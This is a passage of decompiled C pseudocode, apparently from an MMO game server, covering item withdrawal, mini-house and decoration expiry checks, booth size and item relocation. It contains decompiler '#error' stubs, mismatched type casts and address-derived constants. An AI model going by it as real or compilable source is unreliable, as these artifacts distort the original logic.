FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"); return; } if ( !(*((_BYTE *)v4 + 23324) & 0x10) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3970); goto LABEL_8; } v5 = *((_DWORD *)v4 + 17361); v6 = *((_DWORD *)v4 + 17360); if ( *(_QWORD *)(netcmd + 2) > __PAIR__(v5, v6) ) { *(_DWORD *)(netcmd + 2) = v6; *(_DWORD *)(netcmd + 6) = v5; } if ( *(_QWORD *)(netcmd + 2) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v7 + 56))( v7, *(_WORD *)(v8 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), 1); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13409; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v9 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_DWORD *)(v9 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v9 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v9 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ : Packet Too Long", 22); } v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v11 + 4); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3971); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (004E0830) -------------------------------------------------------- #error "4E0830: undefined or illegal type '#331' (funcsize=56)" //----- (004E0910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WithdrawAck(void *this, int withdraw) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // ST04_4@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // eax@3 int v8; // eax@5 char *v9; // eax@6 int v10; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(withdraw + 16) == 3968 ) { v4 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 24))( v4, v2, *(_WORD *)(withdraw + 6), 0) ) { v5 = *(_WORD *)(withdraw + 6); v6 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } *((_DWORD *)v2 + 17360) = *(_DWORD *)(withdraw + 8); *((_DWORD *)v2 + 17361) = *(_DWORD *)(withdraw + 12); } else { v8 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v8 + 32))(v8, *(_WORD *)(withdraw + 6)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12319; *(_DWORD *)(v9 + 2) = *((_DWORD *)v2 + 17360); *(_DWORD *)(v9 + 6) = *((_DWORD *)v2 + 17361); *((_WORD *)v9 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"); } //----- (004E0A80) -------------------------------------------------------- #error "4E0A80: undefined or illegal type '#331' (funcsize=56)" //----- (004E0B60) -------------------------------------------------------- #error "4E0B60: undefined or illegal type '#331' (funcsize=113)" //----- (004E0D20) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init(ShineObjectClass::ShinePlayer::MiniHouseStr *this, #440 *a2, ItemInventoryCell *iic) { ShineObjectClass::ShinePlayer::MiniHouseStr *v3; // esi@1 int v4; // edx@1 unsigned __int16 result; // ax@2 unsigned __int16 v6; // di@3 signed int v7; // eax@3 CIDEB_Element *v8; // ecx@13 MiniHouse *v9; // eax@16 ChargedItemEffectFinger finger; // [sp+10h] [bp-14h]@3 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; v12 = 0; if ( iic ) { v6 = iic->iic_Item.iti_itemstruct.itemid; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v12) = 1; v7 = -1; while ( v7 >= -1 ) { ++v7; finger.cief_Finger = v7; if ( v7 >= minihousedatabox.cideb_Total ) break; if ( minihousedatabox.cideb_Array[v7].ce_ItemID == v6 ) goto LABEL_9; } finger.cief_Finger = -10; LABEL_9: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) == minihousedatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v3->mhs_SkinHandle = 0; LOBYTE(v12) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4102; } else { if ( finger.cief_Finger < 0 || finger.cief_Finger >= minihousedatabox.cideb_Total ) v8 = 0; else v8 = &minihousedatabox.cideb_Array[finger.cief_Finger]; v3->mhs_SkinHandle = v8; if ( v8 && (v9 = v8->ce_Data) != 0 ) { v3->mhs_HPTick = ((signed int)((unsigned __int64)(10 * v9->HPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v9->HPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v3->mhs_SPTick = ((signed int)((unsigned __int64)(10 * v8->ce_Data->SPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v8->ce_Data->SPTick * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v3->mhs_HPInc = v8->ce_Data->HPRecovery; v3->mhs_SPInc = v8->ce_Data->SPRecovery; v3->mhs_BoothSlot = v8->ce_Data->Slot; } else { v3->mhs_HPTick = -5536; v3->mhs_SPTick = -5536; v3->mhs_HPInc = 0; v3->mhs_SPInc = 0; v3->mhs_BoothSlot = 0; } v3->mhs_DummyObject[0] = 0; v3->mhs_DummyObject[1] = 0; v3->mhs_DummyObject[2] = 0; v3->mhs_DummyObject[3] = 0; v3->mhs_DummyObject[4] = 0; v3->mhs_DummyObject[5] = 0; v3->mhs_DummyObject[6] = 0; v3->mhs_DummyObject[7] = 0; v3->mhs_DummyObject[8] = 0; v3->mhs_DummyObject[9] = 0; LOBYTE(v12) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4097; } } else { funcallanalizer.fca_stackpoint = v4 - 1; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4102; } return result; } //----- (004E0F60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(void *this) { void *v1; // ebp@1 int v2; // edx@1 int v3; // eax@1 int v4; // eax@1 int v5; // eax@2 void *v6; // edi@2 int v7; // ebx@2 int v8; // edx@2 int v9; // esi@2 int v10; // ecx@2 void *v11; // eax@2 __int16 v12; // si@4 int v13; // ecx@4 CIDEB_Element *v14; // ecx@8 ChargedItemEffect *v15; // edx@9 void *v16; // eax@12 int v17; // edx@12 int v18; // eax@13 unsigned int v19; // ecx@13 char *v20; // ecx@13 int v21; // eax@13 int v22; // edx@13 char *v23; // esi@13 int v24; // edx@13 void *v25; // edi@13 int v26; // esi@13 int v27; // eax@13 ZoneBaseSession *v28; // eax@15 ITEM_INVEN inv; // [sp+18h] [bp-5Ch]@13 void *deltime; // [sp+1Ch] [bp-58h]@2 int iic; // [sp+20h] [bp-54h]@2 FunctionEntarance _; // [sp+24h] [bp-50h]@1 int *uii; // [sp+28h] [bp-4Ch]@1 int v34; // [sp+2Ch] [bp-48h]@1 int v35; // [sp+30h] [bp-44h]@1 int ibii; // [sp+34h] [bp-40h]@1 char *v37; // [sp+38h] [bp-3Ch]@1 int v38; // [sp+40h] [bp-34h]@1 struct tm timestr; // [sp+44h] [bp-30h]@12 int v40; // [sp+70h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)ItemBoxIterator::_vftable_; v37 = (char *)v1 + 32200; v2 = *((_DWORD *)v1 + 8050); v40 = 0; v38 = (*(int (**)(void))(v2 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v3 = *(_DWORD *)v1; LOBYTE(v40) = 1; v4 = (*(int (__thiscall **)(void *))(v3 + 1916))(v1); uii = &ibii; v34 = v4; v35 = 8; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { do { v5 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v6 = (void *)v5; v7 = *(_DWORD *)(v5 + 112); v8 = *(_DWORD *)v7; v9 = v5 + 8; v10 = *(_DWORD *)(v5 + 112); iic = v5; v11 = (void *)(*(int (__thiscall **)(int, int))(v8 + 48))(v10, v5 + 8); deltime = v11; if ( v11 ) { if ( !*(_BYTE *)v11 ) { v12 = *(_WORD *)v9; v13 = 0; if ( chargedbuffdatabox.cideb_Total > 0 ) { while ( chargedbuffdatabox.cideb_Array[v13].ce_ItemID != v12 ) { ++v13; if ( v13 >= chargedbuffdatabox.cideb_Total ) goto LABEL_16; } v14 = &chargedbuffdatabox.cideb_Array[v13]; if ( v14 ) { v15 = v14->ce_Data; if ( v15 ) { if ( v15->KeepTime_Hour ) { memcpy((void *)×tr, &stru_7BC0CC, sizeof(timestr)); timestr.tm_hour = v15->KeepTime_Hour + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); v16 = deltime; v17 = timestr.tm_min; *(_BYTE *)deltime = LOBYTE(timestr.tm_year) - 100; v6 = (void *)iic; *(_DWORD *)v16 = *(_DWORD *)v16 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v17 << 6)) << 6)) << 13); } else { *(_DWORD *)v11 = 1992027391; } v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); v19 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v19; v20 = (char *)&namestring + 256 * v19; *(_DWORD *)v20 = *(_DWORD *)v18; *((_DWORD *)v20 + 1) = *(_DWORD *)(v18 + 4); *((_DWORD *)v20 + 2) = *(_DWORD *)(v18 + 8); *((_DWORD *)v20 + 3) = *(_DWORD *)(v18 + 12); LOWORD(v18) = inv.Inven; v20[16] = 0; v21 = v18 & 0x3FF | 0x2000; inv.Inven = v21; v22 = *((_DWORD *)v1 + 14442); inv.Inven = (v21 ^ *((_WORD *)uii + 4)) & 0x3FF ^ v21; LOWORD(v21) = *((_WORD *)v1 + 28886); (*(void (__stdcall **)(int, void *, void *, ITEM_INVEN *, ITEM_INVEN *))(v22 + 48))( v21, v6, v6, &inv, &inv); v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v23 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v23 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v23 + 4) = *((_WORD *)v1 + 28886); *(_DWORD *)(v23 + 10) = *(_DWORD *)v6; *(_DWORD *)(v23 + 14) = *((_DWORD *)v6 + 1); *((_WORD *)v23 + 9) = *((_WORD *)v6 + 4); memcpy(v23 + 20, (char *)v6 + 10, 0x65u); v24 = *(_DWORD *)v7; iic = (int)((char *)v6 + 10); (*(void (__thiscall **)(int, char *))(v24 + 8))(v7, (char *)v6 + 10); v25 = (void *)iic; v26 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v7 + 8))(v7, iic) + 20; v27 = (*(int (__thiscall **)(int, void *))(*(_DWORD *)v7 + 8))(v7, v25); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v27 + 20) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v28); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v26); } } } } } } LABEL_16: ; } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); } --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v40 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004E12B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck(void *this) { int v1; // esi@1 int v2; // ecx@1 bool v3; // zf@4 unsigned __int16 v4; // ax@4 int v5; // eax@8 int v6; // ebx@8 void *v7; // eax@8 void *v8; // esi@8 CIDEB_Element *v9; // eax@12 void *v10; // eax@13 unsigned __int16 v11; // ax@14 int v12; // ecx@16 int v13; // edi@17 char *v14; // esi@17 int v15; // eax@17 int v16; // eax@17 char v17; // al@17 ZoneBaseSession *v18; // eax@18 char *v19; // [sp+1Eh] [bp-D4h]@2 char complete; // [sp+31h] [bp-C1h]@3 ITEM_INVEN inv; // [sp+32h] [bp-C0h]@3 int v22; // [sp+36h] [bp-BCh]@1 void *deleted; // [sp+3Ah] [bp-B8h]@8 int iic; // [sp+3Eh] [bp-B4h]@8 FunctionEntarance _; // [sp+42h] [bp-B0h]@1 struct tm timestr; // [sp+46h] [bp-ACh]@16 __int16 iti; // [sp+6Ah] [bp-88h]@8 char v28; // [sp+6Ch] [bp-86h]@17 unsigned __int16 itemid[2]; // [sp+72h] [bp-80h]@8 char v30; // [sp+D0h] [bp-22h]@17 __int16 v31; // [sp+D6h] [bp-1Ch]@8 char v32; // [sp+D8h] [bp-1Ah]@8 unsigned int cookie; // [sp+DEh] [bp-14h]@23 int v34; // [sp+EEh] [bp-4h]@1 v1 = (int)this; v22 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 89088); v34 = 0; if ( v2 ) { complete = 1; inv.Inven = 12288; do { v3 = (*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)(v1 + 57768) + 8))(v1 + 57768, &inv) == 0; v4 = inv.Inven; if ( v3 ) { if ( !(inv.Inven & 0x3FF) || *(_DWORD *)(v1 + 4 * (inv.Inven & 0x3FF) + 89088) ) { v5 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v1 + 52860))(v1 + 52860, inv.Inven & 0x3FF); memcpy(&iti, (const void *)v5, 0x6Cu); v31 = *(_WORD *)(v5 + 108); v32 = *(_BYTE *)(v5 + 110); v6 = *(_DWORD *)(v5 + 112); iic = v5; v7 = (void *)(*(int (__thiscall **)(int, unsigned __int16 *))(*(_DWORD *)v6 + 48))(v6, itemid); v8 = v7; deleted = v7; if ( v7 && !*(_BYTE *)v7 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)(v22 + 57768) + 8))( v22 + 57768, &inv) ) { complete = 0; } else { v9 = ChargedItemEffectDataBox::cideb_GetItemID(&minihousedatabox, itemid[0]); if ( v9 ) { v10 = v9->ce_Data; if ( v10 ) { v11 = *((_WORD *)v10 + 49); if ( v11 ) { memcpy((void *)×tr, &stru_7BC0CC, sizeof(timestr)); timestr.tm_hour = v11 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); v10 = deleted; v12 = timestr.tm_min; *(_BYTE *)deleted = LOBYTE(timestr.tm_year) - 100; *(_DWORD *)v10 = *(_DWORD *)v10 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v12 << 6)) << 6)) << 13); } else { *(_DWORD *)v8 = 1992027391; } v13 = v22; LOWORD(v10) = *(_WORD *)(v22 + 57772); (*(void (__thiscall **)(int, void *, int, __int16 *))(*(_DWORD *)(v22 + 57768) + 48))( v22 + 57768, v10, iic, &iti); v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v14 + 1) = *(_WORD *)(v13 + 4); *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 836))(v13); *((_WORD *)v14 + 4) = *(_WORD *)(v13 + 57772); *(_DWORD *)(v14 + 10) = timestr.tm_yday; *(_DWORD *)(v14 + 14) = timestr.tm_isdst; *((_WORD *)v14 + 9) = iti; memcpy(v14 + 20, &v28, 0x64u); v14[120] = v30; (*(void (__thiscall **)(int, char *))(*(_DWORD *)v6 + 8))(v6, &v28); v15 = (*(int (__thiscall **)(int, char *))(*(_DWORD *)v6 + 8))(v6, &v28); v16 = (*(int (__thiscall **)(int, char *, _DWORD, int))(*(_DWORD *)v6 + 8))( v6, &v28, "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v15 + 20); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, v16 + 20); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v17, (const char *)&inv, (int)&inv) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v18); } ++*(_WORD *)(v22 + 57772); } } } } v4 = inv.Inven; v1 = v22; } } else { complete = 0; } inv.Inven ^= (v4 ^ (v4 + 1)) & 0x3FF; } while ( (inv.Inven & 0x3FFu) < 0x23 ); *(_BYTE *)(v1 + 89148) = complete == 0; v34 = -1; v19 = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; } else { v34 = -1; v19 = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); __security_check_cookie(cookie); } //----- (004E1620) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendBoothSize(void *this) { void *v1; // esi@1 int v2; // eax@1 char *v3; // eax@2 int v4; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1152))(v1); if ( *((_BYTE *)v1 + 92120) != v2 ) { *((_BYTE *)v1 + 92120) = v2; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28656; v3[2] = *((_BYTE *)v1 + 92120); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize : Packet Too Long", 3); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"); } //----- (004E1720) -------------------------------------------------------- #error "4E1720: undefined or illegal type '#331' (funcsize=369)" //----- (004E1CB0) -------------------------------------------------------- #error "4E1CB0: undefined or illegal type '#331' (funcsize=129)" //----- (004E1E90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemReloc(void *ecx0, int a2, int a3) { void *v3; // esi@1 __int16 v4; // dx@1 int v5; // ebx@1 int v6; // edi@7 char *v7; // edi@10 int v8; // eax@11 int v9; // eax@11 char v10; // al@11 ZoneBaseSession *v11; // eax@12 int v12; // edi@13 int v13; // eax@13 int v14; // edi@13 int v15; // eax@13 ItemTotalInformation *v16; // ecx@13 int v17; // eax@14 int v18; // eax@14 int v19; // eax@14 char v20; // al@14 ZoneBaseSession *v21; // eax@15 int v22; // edi@16 int v23; // eax@16 int v24; // eax@17 char *v25; // [sp+18h] [bp-110h]@2 signed int v26; // [sp+18h] [bp-110h]@4 ItemInform_ActionItem *this; // [sp+2Ch] [bp-FCh]@7 DiceTaiSai *v28; // [sp+30h] [bp-F8h]@7 int v29; // [sp+34h] [bp-F4h]@1 char v30; // [sp+38h] [bp-F0h]@13 ItemTotalInformation iti; // [sp+A8h] [bp-80h]@13 unsigned int v32; // [sp+118h] [bp-10h]@24 int v33; // [sp+124h] [bp-4h]@1 v3 = ecx0; v29 = (int)"ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_WORD *)a3 ^ *(_WORD *)(a3 + 2); v5 = a3 + 2; v33 = 0; if ( HIBYTE(v4) & 0xFC ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 578); v25 = "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; LABEL_23: --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v25); goto LABEL_24; } if ( (*(_WORD *)a3 & 0x3FF) >= (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 8))(a2) ) { v26 = 580; LABEL_21: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, v26); goto LABEL_22; } if ( (*(_WORD *)v5 & 0x3FF) >= (*(int (__thiscall **)(int, char *))(*(_DWORD *)a2 + 4))(a2, (char *)v3 + 91688) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 580); LABEL_22: v25 = "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; goto LABEL_23; } this = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))a2)(a2, *(_WORD *)a3 & 0x3FF); v6 = (**(int (__thiscall ***)(_DWORD, _DWORD))a2)(a2, *(_WORD *)v5 & 0x3FF); v28 = (DiceTaiSai *)v6; if ( !this || ItemInventoryCell::iic_ItemIdent(this) == -1 ) { v26 = 581; goto LABEL_21; } if ( v6 ) { v7 = gpp.pp_Buffer; if ( ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v28) == -1 ) { *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v7 = 13352; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v7 + 3) = v8; *((_DWORD *)v7 + 2) = v8; *((_WORD *)v7 + 8) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3) + 4); MoveManager::MoveManager((DiceTaiSai *)this); *(_DWORD *)(v7 + 18) = *(_DWORD *)v9; *(_DWORD *)(v7 + 22) = *(_DWORD *)(v9 + 4); *((_WORD *)v7 + 13) = *(_WORD *)v5; *((_WORD *)v7 + 14) = *(_WORD *)a3; v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 30); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ItemRelocationManager::irm_Move : Packet Too Long", 30) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } ItemInform_ActionItem::sii_Export(this, &iti); ItemTotalInformation::iti_clear((ItemTotalInformation *)&v30); v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3); v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); (*(void (__thiscall **)(int, _DWORD, int, char *, int, int))(*(_DWORD *)v12 + 52))( v12, *(_WORD *)(v13 + 4), a3, &v30, a3, v5); v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v16 = &iti; } else { *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v7 = 13355; v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v7 + 3) = v17; *((_DWORD *)v7 + 2) = v17; *((_WORD *)v7 + 8) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3) + 4); *((_WORD *)v7 + 13) = *(_WORD *)v5; MoveManager::MoveManager((DiceTaiSai *)this); *(_DWORD *)(v7 + 18) = *(_DWORD *)v18; *(_DWORD *)(v7 + 22) = *(_DWORD *)(v18 + 4); *((_WORD *)v7 + 18) = *(_WORD *)a3; MoveManager::MoveManager(v28); *((_DWORD *)v7 + 7) = *(_DWORD *)v19; *((_DWORD *)v7 + 8) = *(_DWORD *)(v19 + 4); v20 = ProtocolPacket::pp_SetPacketLen(&gpp, 38); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v20, "ItemRelocationManager::irm_Exchange : Packet Too Long", 38) ) { v21 = (ZoneBaseSession 